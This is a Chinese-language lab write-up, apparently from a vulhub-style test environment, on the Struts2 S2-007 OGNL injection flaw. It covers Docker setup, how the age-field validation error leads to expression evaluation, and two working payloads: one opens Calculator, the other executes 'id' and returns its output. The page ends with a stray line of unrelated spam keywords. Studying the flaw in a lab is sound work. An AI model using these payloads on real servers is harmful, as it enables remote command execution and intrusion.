<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    S2-007 遠程代碼執行漏洞

    Path struts2/s2-007

    影響版本: 2.0.0 - 2.2.3 漏洞詳情: http://struts.apache.org/docs/s2-007.html

    測試環境搭建

    docker-compose build
    docker-compose up -d
    

    原理

    參考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

    當配置了驗證規則 <ActionName>-validation.xml 時,若類型驗證轉換出錯,后端默認會將用戶提交的表單值通過字符串拼接,然后執行一次 OGNL 表達式解析并返回。例如這里有一個 UserAction:

    (...)
    public class UserAction extends ActionSupport {
        private Integer age;
        private String name;
        private String email;
    
    (...)

    然后配置有 UserAction-validation.xml:

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE validators PUBLIC
        "-//OpenSymphony Group//XWork Validator 1.0//EN"
        "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
    <validators>
        <field name="age">
            <field-validator type="int">
                <param name="min">1</param>
                <param name="max">150</param>
            </field-validator>
        </field>
    </validators>

    當用戶提交 age 為字符串而非整形數值時,后端用代碼拼接 "'" + value + "'" 然后對其進行 OGNL 表達式解析。要成功利用,只需要找到一個配置了類似驗證規則的表單字段使之轉換出錯,借助類似 SQLi 注入單引號拼接的方式即可注入任意 OGNL 表達式。

    因為受影響版本為 Struts2 2.0.0 - Struts2 2.2.3,所以這里給出繞過安全配置進行命令執行的 Payload(彈計算器,無法在本項目環境下運行):

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
    

    Exploit

    @rickgray 在原文中只給了彈計算器的POC,我給出執行任意代碼的EXP:

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
    

    將Exp傳入可以利用的輸入框(age),得到命令執行結果:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类